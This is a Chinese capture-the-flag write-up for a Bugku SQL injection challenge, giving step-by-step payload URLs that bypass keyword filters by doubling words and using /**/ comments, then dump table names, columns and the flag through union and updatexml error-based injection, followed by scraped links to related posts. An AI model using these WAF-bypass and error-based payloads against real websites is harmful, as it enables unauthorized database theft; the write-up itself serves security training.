继续补sqli的题
  

  这道题与之前的题的区别是在第二部分中加了一道waf,所以需要特殊的手段来进行注入。
  题目来源:http://123.206.87.240:9004/1ndex.php?id=1
  

第一部分

  通过改变id值我们可以看页面内容的变化。5时提醒可以注入,6以后开始报error:
  
  
  构造1:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20and%201=1%23报错
  构造2:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20or%201=1%23报错
  考虑是过滤了关键词,尝试使用双写绕过:
  构造3:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1%23
  返回正常。
  
  
  判断字段数:
  http://123.206.87.240:9004/1ndex.php?id=1%27%20oorrder%20by%202%23
  order by 2时返回正常,说明有两个字段。(注意过滤了or关键词,所以order写作oorrder)
  
  判断回显点:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,2%23
  
  
  查看当前数据库:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,database()%23
  
  
  查询该库中所有表:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(table_name) from infoorrmation_schema.tables where table_schema=database())%23
  (注意:information中or要双写:infoorrmation)
  
  
  该库中有两个表,hint表中储存的就是我们改变id值看到的提示。查看flag1表中字段数:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1')%23
  
  该表中有两个字段:flag1和address
  
  查看flag1字段值:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(flag1) from flag1)%23
  
  
  查看address值:
  http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon selselectect 1,(selselectect group_concat(address) from flag1)%23
  
  进入下一关。
  

第二部分

  第一关主要是union注入加上双写绕过,难度不大,这里就有难度了。
  
  构造:
  http://123.206.87.240:9004/Once_More.php?id=%27
  返回值:

大专栏  Bugku的一道注入

1
  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

  确定注入点,加上双写绕过试试
  构造:
  http://123.206.87.240:9004/Once_More.php?id=1%27%20anandd%201=1%23
  返回值:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'anandd 1=1#'' at line 1

  仍有过滤,尝试用//代替空格,不加双写:
  构造:
  `http://123.206.87.240:9004/Once_More.php?id=1%27/
/and//1=1%23返回正常:
  ![](/img/Bugku的一道注入---多次/11.png)
  
  判断字段数:
  构造:
http://123.206.87.240:9004/Once_More.php?id=1%27/
/order//by//3%23![](/img/Bugku的一道注入---多次/12.png)
  共有两个字段。
  
  判断回显点:
http://123.206.87.240:9004/Once_More.php?id=-1%27/**/union/**/select/**/1,2%23`
  报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select/**/1,2#'' at line 1

  
  GG,过滤了union。尝试大小写绕过,双写绕过,内联注释/*!*/绕过。然而统统GG。放弃union注入。
  
  但是他有报错,我们可以利用这个特点。这里用updatexml函数报错的方法来注入。
  
  构造:
  http://120.24.86.145:9004/Once_More.php?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
  
  当前表名为flag2。
  
  构造:
  http://123.206.87.240:9004/Once_More.php?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27flag2%27),%27~%27),3)%20%23#
  
  当前表中有两个字段:flag2和address。
  
  查看flag2字段值:
  构造:
  http://123.206.87.240:9004/Once_More.php?id=?id=1%27%20and%20updatexml(1,concat(%27~%27,(select%20flag2%20from%20flag2),%27~%27),3)%20%23
  
  得flag:flag{Bugku-sql_6s-2i-4t-bug}
  
  另外这个题也是可以用盲注解决的。
  

updatexml

  updatexml函数格式:UPDATEXML (XML_document, XPath_string, new_value);
  1. 第一个参数:XML_document是String格式,为XML文档对象的名称。
  2. 第二个参数:XPath_string (Xpath格式的字符串)
  3. 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  4. 函数作用:改变文档中符合条件的节点的值

  用该函数注入时需要结合concat()函数,因为concat连出来的字符串不符合XPath_String的格式,所以会报错。
  
  
  

Bugku的一道注入的更多相关文章

  1. bugku逗号过滤注入

    URL:http://120.24.86.145:8002/web15/ 直接给出了源码: <?php error_reporting(0); function getIp(){ $ip = ' ...

  2. bugku的一道图片隐写

    可以看到图片是不完整的就联想到其高宽问题.使用winhex打开 将高里面的01改成11 get flag{He1I0_d4_ba1}

  3. bugku的一道代码审计基础题:eval

    首先看到 include "flag.php",第一反应就应该是文件包含 直接先?hello=file:////etc, 然后啥也没 那就再检查一下代码,eval(var_dump ...

  4. bugku的一道XFF转发代理服务器题 “本地服务器”

    X-Forwarded-For requests包内构造方式: X-Forwarded-For: client1, proxy1, proxy2

  5. [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

    记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...

  6. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  7. [SniperOJ](web)图书管理系统 注入 源码泄露

    0x00 题目概况 题目地址:http://www.sniperoj.cn:10000/ 这是一道注入题,存在git源码泄露,使用githack(freebuf有工具介绍)把源码脱下来,进行审计,然后 ...

  8. 对某道ctf的一点点记录

    题目:http://ctf5.shiyanbar.com/web/pcat/index.php 是一道注入的题,主要利用了offset 和 group by with rollup的知识 1.offs ...

  9. 20165207 Exp9 Web安全基础

    目录 20165207 Exp9 Web安全基础 一.实验过程 1.环境配置 2.代理工具burpsuite 2.1 Http proxies -> Use the intercept 3.sq ...

随机推荐

  1. LeetCode——735.行星碰撞

    给定一个整数数组 asteroids,表示在同一行的行星. 对于数组中的每一个元素,其绝对值表示行星的大小,正负表示行星的移动方向(正表示向右移动,负表示向左移动).每一颗行星以相同的速度移动. 找出 ...

  2. 计算文本长度-boundingRectWithSize

    - (void)viewDidLoad {    [super viewDidLoad]; //新建lable控件 UILabel *lable=[[UILabel alloc]init]; labl ...

  3. vim删除所有

    vim test.log :0,$d :wq 注释: :0,$d是删除第0行到最后一行的意思::wq是保存并退出的意思. 执行上面的语句之后,文件中的内容就全部被删除掉了!

  4. Matlab高级教程_第二篇:Matlab相见恨晚的模块_02_并行运算-利用GPU并行执行MATLAB程序

    1 MATLAB原文: 如果所有你想使用的函数支持GPU,你能够使用gpuArray把输入的数据传输到GPU,也能够唤起gather命令把传输值GPU的数据回收. 2 通过gpuDevice命令观察当 ...

  5. [LC] 146. LRU Cache

    Design and implement a data structure for Least Recently Used (LRU) cache. It should support the fol ...

  6. D. Fish eating fruit

    题:https://nanti.jisuanke.com/t/41403 题意:求任意俩点之间距离之和模3后的三个结果的总数(原距离之和) 第一种做法: 树形dp #include<bits/s ...

  7. javascript 实现最简单的阶乘!

    <script type='text/javascript'>      window.onload =  get(5);   function  get(n){   document.w ...

  8. [LC] 295. Find Median from Data Stream

    Median is the middle value in an ordered integer list. If the size of the list is even, there is no ...

  9. [LC] 136. Single Number

    Given a non-empty array of integers, every element appears twice except for one. Find that single on ...

  10. Zabbix调用外部脚本发送邮件:python编写脚本

    Zabbix调用外部脚本发送邮件的时候,会在命令行传入两个参数,第一个参数就是要发送给哪个邮箱地址,第二个参数就是邮件信息,为了保证可以传入多个参数,所以假设有多个参数传入 #!/usr/bin/en ...